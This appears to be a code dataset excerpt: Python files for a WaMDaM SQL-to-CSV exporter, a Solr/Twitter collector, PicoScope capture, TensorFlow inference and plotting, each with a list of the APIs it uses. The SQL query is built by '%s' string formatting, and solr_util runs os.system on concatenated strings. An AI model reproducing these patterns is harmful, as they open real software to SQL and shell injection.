\"MappingColumns\".\"ValuesMapperID\"=\"ValuesMapperColumn\".\"ValuesMapperID\"\n \n -- Join the MappingColumns to get back to their specific Attribute, now called AttributeColumns\n LEFT JOIN \"Attributes\" AS \"AttributesColumns\"\n ON \"AttributesColumns\".\"AttributeID\"=\"MappingColumns\".\"AttributeID\"\n /* Finishes here */\n \n -- Join the MultiAttributeSeries to get access to their MultiAttributeSeriesValues \n LEFT JOIN \"MultiAttributeSeriesValues\"\n ON \"MultiAttributeSeriesValues\".\"MultiAttributeSeriesID\"=\"MultiAttributeSeries\".\"MultiAttributeSeriesID\"\n\n ---------------------------------------------------------------------------------------------\n -- Join the Connections table to the Instances table \n LEFT JOIN \"Connections\" \n ON \"Connections\".\"LinkInstanceID\"=\"Instances\".\"InstanceID\"\n \n -- Join the Instances table the End Node of link \n LEFT JOIN \"Instances\" As \"EndNodeInstance\"\n ON \"EndNodeInstance\".\"InstanceID\"=\"Connections\".\"EndNodeInstanceID\"\n \n -- Join the Instances table the Start Node of link \n LEFT JOIN \"Instances\" As \"StartNodeInstance\"\n ON \"StartNodeInstance\".\"InstanceID\"=\"Connections\".\"StartNodeInstanceID\"\n ---------------------------------------------------------------------------------------------\n\n \n -- Select one InstanceName and restrict the query AttributeDataTypeCV that is MultiAttributeSeries \n \n WHERE Attributes.AttributeDataTypeCV='MultiAttributeSeries' and DataValue is not \"\" and DataValue is not null\n \n AND ObjectType= '%s' \n \n AND MultiAttributeName='%s'\n AND NodeORLinkInstanceName='%s' \n \n -- Sort the the values of each column name based on their ascending order\n \n \n ORDER BY ResourceType,ObjectType,NodeORLinkInstanceName, ScenarioName,AttributeName,MultiAttributeName,ValueOrder ASC\n \n \"\"\"%(input_param['Required_ObjectType'], input_param['Required_AttributeName'], input_param['Provided_InstanceName'] )\n\n\n # df_MultiColumns = session.execute(MultiAttributes_query)\n df_MultiColumns = pd.read_sql_query(MultiAttributes_query, conn)\n\n # df_MultiColumnsKeys = df_MultiColumns.keys()\n\n total_df_MultiColumns.append(df_MultiColumns)\n\n Full_Branch=input_param['Provided_FullBranch']\n Multi_Full_Branch_total.append(Full_Branch)\n\n return (total_df_MultiColumns,Multi_Full_Branch_total)\n\n\ndef MultiAttributes_csv_file(total_df_MultiColumns,Multi_Full_Branch_total):\n\n # Write\n # the order is important\n # csv_file_name=VolumeElevation( 0, 4590, 130, 4600, 649, 4610, 1739, 4620, 3456, 4630, 5937, 4640, 9236, 4650, 13206, 4660, 17721, 4670, 18684, 4672, 22600, 4680, 28100, 4690, 34100, 4700, 40700, 4710, 47900, 4720, 55800, 4730, 64500, 4740, 73900, 4750 )\n total_csv_file_multi_columns = []\n Multi_df_MultiColumns = []\n Metadata_multi_att=[]\n total_multi_attribute_value=[]\n\n output_dir = \"Multi_Attributes_csv_files/\"\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n\n for df_MultiColumns,Multi_Full_Branch in zip (total_df_MultiColumns,Multi_Full_Branch_total):\n # if df_MultiColumns['NodeORLinkInstanceName']=='j34j33': # dont worry about this one\n first_index = 0\n if len(df_MultiColumns['ValueOrder']) < 1: continue\n first_order_value = df_MultiColumns['ValueOrder'][0]\n attr_columns = [0]\n\n i = 0\n n = 0\n # print df_MultiColumns['ValueOrder']\n for order_data in df_MultiColumns['ValueOrder']:\n if i == 0:\n i += 1\n continue\n if order_data == first_order_value:\n attr_columns.append(i)\n if n == 0:\n n = i\n # break\n i += 1\n\n # diff = second_index - first_index\n MultiParam = ''\n # print n\n attr_colums_data = []\n for j in range(n):\n try:\n for colum in attr_columns:\n attr_colums_data.append(df_MultiColumns['DataValue'][colum + j])\n # first_data = df_MultiColumns['DataValue'][j]\n # second_data = df_MultiColumns['DataValue'][j + n]\n\n # MultiParam += '{},{}'.format(second_data, first_data)\n # if j != n - 1:\n # MultiParam += ','\n except:\n break\n MultiParam = ','.join(attr_colums_data)\n # print MultiParam\n\n # AttributeName(Value),AttributeName(Value)\n # MultiParam=\n\n csv_file_path_or_value_multi = \"VolumeElevation(\" + MultiParam + \")\"\n\n\n # print csv_file_path_or_value_multi\n\n # csv_file_name=VolumeElevation( 0, 4590, 130, 4600, 649, 4610, 1739, 4620, 3456, 4630, 5937, 4640, 9236, 4650, 13206, 4660, 17721, 4670, 18684, 4672, 22600, 4680, 28100, 4690, 34100, 4700, 40700, 4710, 47900, 4720, 55800, 4730, 64500, 4740, 73900, 4750 )\n\n Multi_df_MultiColumns.append(df_MultiColumns)\n\n # reuse the script athe link to print these to a csv file\n # https://github.com/WamdamProject/WaMDaM_Wizard/blob/master/src_1.0/controller/wamdamAPI/GetDataValues.py#L319\n\n obj=df_MultiColumns['ObjectType'][1]\n x = df_MultiColumns['MultiAttributeName'][1]\n y = df_MultiColumns['NodeORLinkInstanceName'][1]\n obj_a=obj.replace(\" \", \"_\")\n z = x.replace(\" \", \"_\")\n w = y.replace(\" \", \"_\")\n\n\n csv_file_multi_columns = output_dir + obj_a + '_' + z + '_' + w + '.csv'\n\n Metadata_multi_att1 = OrderedDict()\n\n Metadata_multi_att1['FullBranch'] =Multi_Full_Branch\n Metadata_multi_att1['Value'] =csv_file_path_or_value_multi\n Metadata_multi_att1['csv_fileName'] =csv_file_multi_columns\n\n Metadata_multi_att.append(Metadata_multi_att1)\n\n # print csv_file_seasonal_multi_columns\n\n # # save the the multi columns into a csv file with a name csv_file_name\n field_names = ['ObjectType', 'InstanceName', 'ScenarioName', 'MultiAttributeName', 'AttributeDataTypeCV']\n for colum in attr_columns:\n field_names.append(df_MultiColumns['AttributeName'][colum])\n\n field_names.extend(['ValueOrder', 'Date exported to this file'])\n\n f2 = open(csv_file_multi_columns, \"wb\")\n writer1 = csv.writer(f2, delimiter=',', quoting=csv.QUOTE_ALL)\n writer1.writerow(field_names)\n Date_exported = datetime.datetime.now()\n\n for j in range(n):\n try:\n field_values = [df_MultiColumns['ObjectType'][j], df_MultiColumns['NodeORLinkInstanceName'][j],\n df_MultiColumns['ScenarioName'][j], df_MultiColumns['MultiAttributeName'][j],\n df_MultiColumns['AttributeDataTypeCV'][j]]\n for colum in attr_columns:\n field_values.append(df_MultiColumns['DataValue'][colum+j])\n field_values.extend([df_MultiColumns['ValueOrder'][j],Date_exported.strftime('%m/%d/%Y')])\n writer1.writerow(field_values)\n except:\n break\n\n f2.close()\n\n # combne many output paramters here to pass them to the metadata wirtting file\n\n\n return Multi_df_MultiColumns,Metadata_multi_att\n" ]
[ [ "pandas.read_sql_query" ] ]
yalhariri/twitter_collector_gui
[ "653eab9a6eb710bebd650d1d6234790e7354b7ff" ]
[ "crawler/solr_util.py" ]
[ "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport requests\n\ndef init_schema(url):\n scehma_contents = [{\"name\":\"id\",\"type\":\"string\",\"stored\":True},\n {\"name\":\"created_at\",\"type\":\"pdates\",\"stored\":True},\n {\"name\":\"user_screen_name\",\"type\":\"string\",\"stored\":True},\n {\"name\":\"user_name\",\"type\":\"string\",\"stored\":True},\n {\"name\":\"user_id\",\"type\":\"string\",\"stored\":True},\n {\"name\":\"users_followers_count\",\"type\":\"pint\",\"stored\":True},\n {\"name\":\"users_friends_count\",\"type\":\"pint\",\"stored\":True},\n {\"name\":\"retweet_count\",\"type\":\"pint\",\"stored\":True},\n {\"name\":\"favorite_count\",\"type\":\"pint\",\"stored\":True},\n {\"name\":\"full_text\",\"type\":\"string\",\"stored\":True},\n {\"name\":\"hashtags\",\"type\":\"string\",\"stored\":True,\"multiValued\":True},\n {\"name\":\"mentions\",\"type\":\"string\",\"stored\":True,\"multiValued\":True},\n {\"name\":\"retweeters\",\"type\":\"string\",\"stored\":True,\"multiValued\":True},\n {\"name\":\"users_description\",\"type\":\"string\",\"stored\":True},\n {\"name\":\"users_location\",\"type\":\"string\",\"stored\":True}]\n headers = {'Content-type': 'application/json'}\n \n for item in scehma_contents:\n payload = {\"add-field\":item}\n r = requests.post(url, json=payload) \n return r\n\ndef add_core(core_name,port,path):\n import os \n r1 = os.system(path+\"/bin/solr create -c \" + core_name)\n url = \"http://localhost:\"+port+\"/solr/\"+core_name+\"/schema\"\n r2 = init_schema(url)\n print(r1 == 0 and r2.status_code == 200)\n return (r1 == 0 and r2.status_code == 200)\n\ndef delete_core(core_name,path):\n import os\n r = os.system(path+\"/bin/solr delete -c \" + core_name)\n return(r == 0)\n\ndef start_solr(port,path):\n import os \n r1 = os.system(path+\"/bin/solr start -p \" + port)\n\n return (r1 == 0)\n \ndef load_api_keys(keys=\"keys\"):\n import pandas as pd\n df = pd.DataFrame()\n api_keys = {\"apikeys\":dict()}\n import pandas as pd\n try:\n df = pd.read_csv(keys,sep=',')\n if not df.empty:\n for item in df.iterrows():\n api_keys[\"apikeys\"][item[0]] = dict(item[1])\n except Exception:\n print('error while loading API keys... please configure the API keys by using the configuration tool')\n pass\n \n return api_keys\n\ndef get_search_dict(terms_file, since_id=1, geocode = None):\n '''\n a function to create the input json file for collecting the timelines.\n \n Parameters\n ----------\n terms_list : a list of string that contains all the tokens to search for.\n output_file : str the json file path that will store all the user names with related data.\n since_id : int the id of the first tweet to consider in the search (default is 1).\n '''\n terms_list = []\n with open (terms_file, 'r') as f_in:\n for line in f_in.readlines():\n terms_list.append(line)\n import math\n x = math.ceil(len(terms_list) / 15)\n data_dict = {}\n for i in range(0,x):\n data_dict['search'+str(i)] = dict()\n data_dict['search'+str(i)][\"geocode\"] = geocode\n data_dict['search'+str(i)][\"since_id\"] = since_id\n data_dict['search'+str(i)][\"terms\"] = []\n for j in range(0,15):\n if j+15*i < len(terms_list):\n data_dict['search'+str(i)][\"terms\"].append(terms_list[j+15*i])\n return data_dict\n# with open(output_file,'w',encoding='utf-8') as fo:\n# json.dump(data_dict,fp=fo, ensure_ascii=False)\n\n" ]
[ [ "pandas.DataFrame", "pandas.read_csv" ] ]
Karagul/bsm-model
[ "dada0c9cb5b5178abee705ea4015f571673f9fd3" ]
[ "graphplot.py" ]
[ "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Feb 11 21:50:20 2020\r\n\r\n@author: Wei_X\r\n\"\"\"\r\n\r\n# Import necesary libraries\r\nimport matplotlib.pyplot as plt\r\n\r\np = print\r\n\r\n#periods = [df1['period90'], df1['period180'], df1['period252'], df1['period360'], df1['period504'], df1['period600']]\r\n#labels = ['period90', 'period180', 'period252', 'period360', 'period504', 'period600']\r\n\r\ndef multipleplotkde(periods, labels, title, xlabel, ylabel):\r\n periods = periods\r\n plt.figure(figsize=(15,8))\r\n for period in periods:\r\n period.plot.kde()\r\n \r\n # Plot formatting\r\n plt.legend(labels)\r\n plt.title(title)\r\n plt.xlabel(xlabel)\r\n plt.ylabel(ylabel)\r\n plt.show()\r\n \r\n\r\ndef multipleplot(periods, labels, title, xlabel, ylabel):\r\n periods = periods\r\n plt.figure(figsize=(15,8))\r\n for period in periods:\r\n period.plot()\r\n \r\n # Plot formatting\r\n plt.legend(labels)\r\n plt.title(title)\r\n plt.xlabel(xlabel)\r\n plt.ylabel(ylabel)\r\n plt.show()\r\n " ]
[ [ "matplotlib.pyplot.xlabel", "matplotlib.pyplot.title", "matplotlib.pyplot.legend", "matplotlib.pyplot.figure", "matplotlib.pyplot.ylabel", "matplotlib.pyplot.show" ] ]
amccarte/branduniv
[ "08bab72ccfeb75532c62c493bdf1a22df31e070f" ]
[ "brandelion/cli/report.py" ]
[ "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Generate reports to summarize the results.\n\nusage:\n brandelion report --scores <file> --output <directory> [--validation <file>]\n\nOptions\n -h, --help\n -o, --output <directory> Path to write results.\n -v, --validation <file> File containing third-party scores for each brand by Twitter name, (e.g., surveys), for comparison.\n -s, --scores <file> File containing the predicted scores for each brand by Twitter name.\n\"\"\"\n\nfrom docopt import docopt\nimport errno\nimport os\nimport matplotlib.pyplot as plt\nimport scipy.stats as scistat\n\n\ndef mkdirs(path):\n try:\n os.makedirs(path)\n except OSError as exc:\n if exc.errno == errno.EEXIST and os.path.isdir(path):\n pass\n else:\n raise\n\n\ndef read_scores(fname):\n scores = {}\n for line in open(fname):\n parts = line.strip().lower().split()\n if len(parts) > 1:\n scores[parts[0]] = float(parts[1])\n return scores\n\n\ndef validate(scores, validation, title, outdir, doplot=True):\n keys = sorted(validation.keys())\n keys = list(set(keys) & set(scores.keys()))\n predicted = [scores[k] for k in keys]\n truth = [validation[k] for k in keys]\n corr = scistat.pearsonr(predicted, truth)\n print('Pearson:', corr)\n if doplot:\n plt.figure()\n plt.scatter(predicted, truth)\n plt.xlabel('predicted')\n plt.ylabel('truth')\n plt.xlim(min(predicted), max(predicted))\n plt.ylim(min(truth), max(truth))\n for x, y, label in zip(predicted, truth, keys):\n plt.annotate(label, xy=(x, y), xytext=(0, 0),\n textcoords='offset points', size='10',\n bbox=dict(boxstyle='round,pad=0.0', edgecolor='white',\n fc='white', alpha=0.9))\n plt.title('%s\\nr(%d)=%.3f (p=%g)' % (title, len(truth), corr[0], corr[1]))\n plt.savefig(outdir + '/scatter.pdf')\n plt.show()\n return corr[0]\n\n\ndef main():\n args = docopt(__doc__)\n scores = read_scores(args['--scores'])\n mkdirs(args['--output'])\n if args['--validation']:\n validate(scores, read_scores(args['--validation']), '', args['--output'])\n\n\nif __name__ == '__main__':\n main()\n" ]
[ [ "matplotlib.pyplot.xlabel", "matplotlib.pyplot.savefig", "scipy.stats.pearsonr", "matplotlib.pyplot.figure", "matplotlib.pyplot.show", "matplotlib.pyplot.ylabel", "matplotlib.pyplot.scatter" ] ]
Smasher-z/UniverseNet
[ "794e7d3d2c7a8f2f6601a60b67366d93a3f30a1f" ]
[ "setup.py" ]
[ "#!/usr/bin/env python\n# Copyright (c) OpenMMLab. All rights reserved.\nimport os\nimport os.path as osp\nimport platform\nimport shutil\nimport sys\nimport warnings\nfrom setuptools import find_packages, setup\n\nimport torch\nfrom torch.utils.cpp_extension import (BuildExtension, CppExtension,\n CUDAExtension)\n\n\ndef readme():\n with open('README.md', encoding='utf-8') as f:\n content = f.read()\n return content\n\n\nversion_file = 'mmdet/version.py'\n\n\ndef get_version():\n with open(version_file, 'r') as f:\n exec(compile(f.read(), version_file, 'exec'))\n return locals()['__version__']\n\n\ndef make_cuda_ext(name, module, sources, sources_cuda=[]):\n\n define_macros = []\n extra_compile_args = {'cxx': []}\n\n if torch.cuda.is_available() or os.getenv('FORCE_CUDA', '0') == '1':\n define_macros += [('WITH_CUDA', None)]\n extension = CUDAExtension\n extra_compile_args['nvcc'] = [\n '-D__CUDA_NO_HALF_OPERATORS__',\n '-D__CUDA_NO_HALF_CONVERSIONS__',\n '-D__CUDA_NO_HALF2_OPERATORS__',\n ]\n sources += sources_cuda\n else:\n print(f'Compiling {name} without CUDA')\n extension = CppExtension\n\n return extension(\n name=f'{module}.{name}',\n sources=[os.path.join(*module.split('.'), p) for p in sources],\n define_macros=define_macros,\n extra_compile_args=extra_compile_args)\n\n\ndef parse_requirements(fname='requirements.txt', with_version=True):\n \"\"\"Parse the package dependencies listed in a requirements file but strips\n specific versioning information.\n\n Args:\n fname (str): path to requirements file\n with_version (bool, default=False): if True include version specs\n\n Returns:\n List[str]: list of requirements items\n\n CommandLine:\n python -c \"import setup; print(setup.parse_requirements())\"\n \"\"\"\n import sys\n from os.path import exists\n import re\n require_fpath = fname\n\n def parse_line(line):\n \"\"\"Parse information from a line in a requirements text file.\"\"\"\n if line.startswith('-r '):\n # Allow specifying requirements in other files\n target = line.split(' ')[1]\n for info in parse_require_file(target):\n yield info\n else:\n info = {'line': line}\n if line.startswith('-e '):\n info['package'] = line.split('#egg=')[1]\n elif '@git+' in line:\n info['package'] = line\n else:\n # Remove versioning from the package\n pat = '(' + '|'.join(['>=', '==', '>']) + ')'\n parts = re.split(pat, line, maxsplit=1)\n parts = [p.strip() for p in parts]\n\n info['package'] = parts[0]\n if len(parts) > 1:\n op, rest = parts[1:]\n if ';' in rest:\n # Handle platform specific dependencies\n # http://setuptools.readthedocs.io/en/latest/setuptools.html#declaring-platform-specific-dependencies\n version, platform_deps = map(str.strip,\n rest.split(';'))\n info['platform_deps'] = platform_deps\n else:\n version = rest # NOQA\n info['version'] = (op, version)\n yield info\n\n def parse_require_file(fpath):\n with open(fpath, 'r') as f:\n for line in f.readlines():\n line = line.strip()\n if line and not line.startswith('#'):\n for info in parse_line(line):\n yield info\n\n def gen_packages_items():\n if exists(require_fpath):\n for info in parse_require_file(require_fpath):\n parts = [info['package']]\n if with_version and 'version' in info:\n parts.extend(info['version'])\n if not sys.version.startswith('3.4'):\n # apparently package_deps are broken in 3.4\n platform_deps = info.get('platform_deps')\n if platform_deps is not None:\n parts.append(';' + platform_deps)\n item = ''.join(parts)\n yield item\n\n packages = list(gen_packages_items())\n return packages\n\n\ndef add_mim_extension():\n \"\"\"Add extra files that are required to support MIM into the package.\n\n These files will be added by creating a symlink to the originals if the\n package is installed in `editable` mode (e.g. pip install -e .), or by\n copying from the originals otherwise.\n \"\"\"\n\n # parse installment mode\n if 'develop' in sys.argv:\n # installed by `pip install -e .`\n if platform.system() == 'Windows':\n # set `copy` mode here since symlink fails on Windows.\n mode = 'copy'\n else:\n mode = 'symlink'\n elif 'sdist' in sys.argv or 'bdist_wheel' in sys.argv:\n # installed by `pip install .`\n # or create source distribution by `python setup.py sdist`\n mode = 'copy'\n else:\n return\n\n filenames = ['tools', 'configs', 'demo', 'model-index.yml']\n repo_path = osp.dirname(__file__)\n mim_path = osp.join(repo_path, 'mmdet', '.mim')\n os.makedirs(mim_path, exist_ok=True)\n\n for filename in filenames:\n if osp.exists(filename):\n src_path = osp.join(repo_path, filename)\n tar_path = osp.join(mim_path, filename)\n\n if osp.isfile(tar_path) or osp.islink(tar_path):\n os.remove(tar_path)\n elif osp.isdir(tar_path):\n shutil.rmtree(tar_path)\n\n if mode == 'symlink':\n src_relpath = osp.relpath(src_path, osp.dirname(tar_path))\n os.symlink(src_relpath, tar_path)\n elif mode == 'copy':\n if osp.isfile(src_path):\n shutil.copyfile(src_path, tar_path)\n elif osp.isdir(src_path):\n shutil.copytree(src_path, tar_path)\n else:\n warnings.warn(f'Cannot copy file {src_path}.')\n else:\n raise ValueError(f'Invalid mode {mode}')\n\n\nif __name__ == '__main__':\n add_mim_extension()\n setup(\n name='mmdet',\n version=get_version(),\n description='OpenMMLab Detection Toolbox and Benchmark',\n long_description=readme(),\n long_description_content_type='text/markdown',\n author='MMDetection Contributors',\n author_email='[email protected]',\n keywords='computer vision, object detection',\n url='https://github.com/open-mmlab/mmdetection',\n packages=find_packages(exclude=('configs', 'tools', 'demo')),\n # package_data={'mmdet.ops': ['*/*.so']},\n include_package_data=True,\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'License :: OSI Approved :: Apache Software License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n ],\n license='Apache License 2.0',\n install_requires=parse_requirements('requirements/runtime.txt'),\n extras_require={\n 'all': parse_requirements('requirements.txt'),\n 'tests': parse_requirements('requirements/tests.txt'),\n 'build': parse_requirements('requirements/build.txt'),\n 'optional': parse_requirements('requirements/optional.txt'),\n },\n ext_modules=[],\n # ext_modules=[\n # make_cuda_ext(\n # name='deform_conv_ext',\n # module='mmdet.ops.dcn',\n # sources=['src/deform_conv_ext.cpp'],\n # sources_cuda=[\n # 'src/cuda/deform_conv_cuda.cpp',\n # 'src/cuda/deform_conv_cuda_kernel.cu'\n # ]),\n # ],\n cmdclass={'build_ext': BuildExtension},\n zip_safe=False)\n" ]
[ [ "torch.cuda.is_available" ] ]
shikajiro/picosdk-python-wrappers
[ "c441870e1d39aa6a85b3cfd5acb1b3968669a7cf" ]
[ "ps5000aExamples/ps5000aBlockExample.py" ]
[ "#\n# Copyright (C) 2018 Pico Technology Ltd. See LICENSE file for terms.\n#\n# PS5000A BLOCK MODE EXAMPLE\n# This example opens a 5000a driver device, sets up two channels and a trigger then collects a block of data.\n# This data is then plotted as mV against time in ns.\n\nimport ctypes\nimport numpy as np\nfrom picosdk.ps5000a import ps5000a as ps\nimport matplotlib.pyplot as plt\nfrom picosdk.functions import adc2mV, assert_pico_ok, mV2adc\n\n# Create chandle and status ready for use\nchandle = ctypes.c_int16()\nstatus = {}\n\n# Open 5000 series PicoScope\n# Resolution set to 12 Bit\nresolution =ps.PS5000A_DEVICE_RESOLUTION[\"PS5000A_DR_12BIT\"]\n# Returns handle to chandle for use in future API functions\nstatus[\"openunit\"] = ps.ps5000aOpenUnit(ctypes.byref(chandle), None, resolution)\n\ntry:\n assert_pico_ok(status[\"openunit\"])\nexcept: # PicoNotOkError:\n\n powerStatus = status[\"openunit\"]\n\n if powerStatus == 286:\n status[\"changePowerSource\"] = ps.ps5000aChangePowerSource(chandle, powerStatus)\n elif powerStatus == 282:\n status[\"changePowerSource\"] = ps.ps5000aChangePowerSource(chandle, powerStatus)\n else:\n raise\n\n assert_pico_ok(status[\"changePowerSource\"])\n\n# Set up channel A\n# handle = chandle\nchannel = ps.PS5000A_CHANNEL[\"PS5000A_CHANNEL_A\"]\n# enabled = 1\ncoupling_type = ps.PS5000A_COUPLING[\"PS5000A_DC\"]\nchARange = ps.PS5000A_RANGE[\"PS5000A_20V\"]\n# analogue offset = 0 V\nstatus[\"setChA\"] = ps.ps5000aSetChannel(chandle, channel, 1, coupling_type, chARange, 0)\nassert_pico_ok(status[\"setChA\"])\n\n# Set up channel B\n# handle = chandle\nchannel = ps.PS5000A_CHANNEL[\"PS5000A_CHANNEL_B\"]\n# enabled = 1\n# coupling_type = ps.PS5000A_COUPLING[\"PS5000A_DC\"]\nchBRange = ps.PS5000A_RANGE[\"PS5000A_2V\"]\n# analogue offset = 0 V\nstatus[\"setChB\"] = ps.ps5000aSetChannel(chandle, channel, 1, coupling_type, chBRange, 0)\nassert_pico_ok(status[\"setChB\"])\n\n# find maximum ADC count value\n# handle = chandle\n# pointer to value = ctypes.byref(maxADC)\nmaxADC = ctypes.c_int16()\nstatus[\"maximumValue\"] = ps.ps5000aMaximumValue(chandle, ctypes.byref(maxADC))\nassert_pico_ok(status[\"maximumValue\"])\n\n# Set up single trigger\n# handle = chandle\n# enabled = 1\nsource = ps.PS5000A_CHANNEL[\"PS5000A_CHANNEL_A\"]\nthreshold = int(mV2adc(500,chARange, maxADC))\n# direction = PS5000A_RISING = 2\n# delay = 0 s\n# auto Trigger = 1000 ms\nstatus[\"trigger\"] = ps.ps5000aSetSimpleTrigger(chandle, 1, source, threshold, 2, 0, 1000)\nassert_pico_ok(status[\"trigger\"])\n\n# Set number of pre and post trigger samples to be collected\npreTriggerSamples = 2500\npostTriggerSamples = 2500\nmaxSamples = preTriggerSamples + postTriggerSamples\n\n# Get timebase information\n# handle = chandle\ntimebase = 8\n# noSamples = maxSamples\n# pointer to timeIntervalNanoseconds = ctypes.byref(timeIntervalns)\n# pointer to maxSamples = ctypes.byref(returnedMaxSamples)\n# segment index = 0\ntimeIntervalns = ctypes.c_float()\nreturnedMaxSamples = ctypes.c_int32()\nstatus[\"getTimebase2\"] = ps.ps5000aGetTimebase2(chandle, timebase, maxSamples, ctypes.byref(timeIntervalns), ctypes.byref(returnedMaxSamples), 0)\nassert_pico_ok(status[\"getTimebase2\"])\n\n# Run block capture\n# handle = chandle\n# number of pre-trigger samples = preTriggerSamples\n# number of post-trigger samples = PostTriggerSamples\n# timebase = 8 = 80 ns (see Programmer's guide for mre information on timebases)\n# time indisposed ms = None (not needed in the example)\n# segment index = 0\n# lpReady = None (using ps5000aIsReady rather than ps5000aBlockReady)\n# pParameter = None\nstatus[\"runBlock\"] = ps.ps5000aRunBlock(chandle, preTriggerSamples, postTriggerSamples, timebase, None, 0, None, None)\nassert_pico_ok(status[\"runBlock\"])\n\n# Check for data collection to finish using ps5000aIsReady\nready = ctypes.c_int16(0)\ncheck = ctypes.c_int16(0)\nwhile ready.value == check.value:\n status[\"isReady\"] = ps.ps5000aIsReady(chandle, ctypes.byref(ready))\n\n\n# Create buffers ready for assigning pointers for data collection\nbufferAMax = (ctypes.c_int16 * maxSamples)()\nbufferAMin = (ctypes.c_int16 * maxSamples)() # used for downsampling which isn't in the scope of this example\nbufferBMax = (ctypes.c_int16 * maxSamples)()\nbufferBMin = (ctypes.c_int16 * maxSamples)() # used for downsampling which isn't in the scope of this example\n\n# Set data buffer location for data collection from channel A\n# handle = chandle\nsource = ps.PS5000A_CHANNEL[\"PS5000A_CHANNEL_A\"]\n# pointer to buffer max = ctypes.byref(bufferAMax)\n# pointer to buffer min = ctypes.byref(bufferAMin)\n# buffer length = maxSamples\n# segment index = 0\n# ratio mode = PS5000A_RATIO_MODE_NONE = 0\nstatus[\"setDataBuffersA\"] = ps.ps5000aSetDataBuffers(chandle, source, ctypes.byref(bufferAMax), ctypes.byref(bufferAMin), maxSamples, 0, 0)\nassert_pico_ok(status[\"setDataBuffersA\"])\n\n# Set data buffer location for data collection from channel B\n# handle = chandle\nsource = ps.PS5000A_CHANNEL[\"PS5000A_CHANNEL_B\"]\n# pointer to buffer max = ctypes.byref(bufferBMax)\n# pointer to buffer min = ctypes.byref(bufferBMin)\n# buffer length = maxSamples\n# segment index = 0\n# ratio mode = PS5000A_RATIO_MODE_NONE = 0\nstatus[\"setDataBuffersB\"] = ps.ps5000aSetDataBuffers(chandle, source, ctypes.byref(bufferBMax), ctypes.byref(bufferBMin), maxSamples, 0, 0)\nassert_pico_ok(status[\"setDataBuffersB\"])\n\n# create overflow loaction\noverflow = ctypes.c_int16()\n# create converted type maxSamples\ncmaxSamples = ctypes.c_int32(maxSamples)\n\n# Retried data from scope to buffers assigned above\n# handle = chandle\n# start index = 0\n# pointer to number of samples = ctypes.byref(cmaxSamples)\n# downsample ratio = 0\n# downsample ratio mode = PS5000A_RATIO_MODE_NONE\n# pointer to overflow = ctypes.byref(overflow))\nstatus[\"getValues\"] = ps.ps5000aGetValues(chandle, 0, ctypes.byref(cmaxSamples), 0, 0, 0, ctypes.byref(overflow))\nassert_pico_ok(status[\"getValues\"])\n\n\n# convert ADC counts data to mV\nadc2mVChAMax = adc2mV(bufferAMax, chARange, maxADC)\nadc2mVChBMax = adc2mV(bufferBMax, chBRange, maxADC)\n\n# Create time data\ntime = np.linspace(0, (cmaxSamples.value) * timeIntervalns.value, cmaxSamples.value)\n\n# plot data from channel A and B\nplt.plot(time, adc2mVChAMax[:])\nplt.plot(time, adc2mVChBMax[:])\nplt.xlabel('Time (ns)')\nplt.ylabel('Voltage (mV)')\nplt.show()\n\n# Stop the scope\n# handle = chandle\nstatus[\"stop\"] = ps.ps5000aStop(chandle)\nassert_pico_ok(status[\"stop\"])\n\n# Close unit Disconnect the scope\n# handle = chandle\nstatus[\"close\"]=ps.ps5000aCloseUnit(chandle)\nassert_pico_ok(status[\"close\"])\n\n# display status returns\nprint(status)" ]
[ [ "matplotlib.pyplot.xlabel", "matplotlib.pyplot.plot", "matplotlib.pyplot.ylabel", "matplotlib.pyplot.show", "numpy.linspace" ] ]
vertexclique/orkhon
[ "4d9d4590c80a389aedd2b3ee16f5866bdef406c4" ]
[ "tests/pymodels/tf_model.py" ]
[ "# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport tensorflow as tf\nimport cv2\n\nwith tf.gfile.FastGFile(\"tests/protobuf/mobilenet_v2_1.4_224_frozen.pb\", 'rb') as f:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n tf.import_graph_def(graph_def, name='')\n\nwriter = tf.summary.FileWriter(\"./graphstore/\", tf.get_default_graph())\nwriter.close()\n\ninput_placeholder = tf.get_default_graph().get_tensor_by_name('input:0')\nprint(input_placeholder.shape)\nbias_add = tf.get_default_graph().get_tensor_by_name('MobilenetV2/Logits/Conv2d_1c_1x1/BiasAdd:0')\nprint(bias_add.shape)\nrelu6 = tf.get_default_graph().get_tensor_by_name('MobilenetV2/Conv_1/Relu6:0')\nprint(relu6.shape)\n\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nsess = tf.Session(config=config)\n\n\ndef image_read(imname):\n image = cv2.imread(imname)\n image = cv2.resize(image, (448, 448))\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB).astype(np.float32)\n image = (image / 255.0) * 2.0 - 1.0\n return image\n\ndef tf_model_hook(args):\n # image_test = image_read('tests/img/cat.jpg')\n image_test = np.zeros((448, 448, 3,))\n print(image_test.shape)\n image_test_valid = np.expand_dims(image_test, 0)\n print(image_test_valid.shape)\n bias_add_value = sess.run(bias_add, feed_dict={input_placeholder: image_test_valid})\n relu6_val = sess.run(relu6, feed_dict={input_placeholder: image_test_valid})\n print(relu6_val.shape)\n return relu6_val.shape\n" ]
[ [ "numpy.zeros", "tensorflow.get_default_graph", "tensorflow.GraphDef", "tensorflow.Session", "tensorflow.import_graph_def", "tensorflow.ConfigProto", "tensorflow.gfile.FastGFile", "numpy.expand_dims" ] ]
shishehchi/AstroUnsupervisedDeepClustering
[ "9d0293c1200e42b0748709e9624da686d758119b" ]
[ "helpers/utilities.py" ]
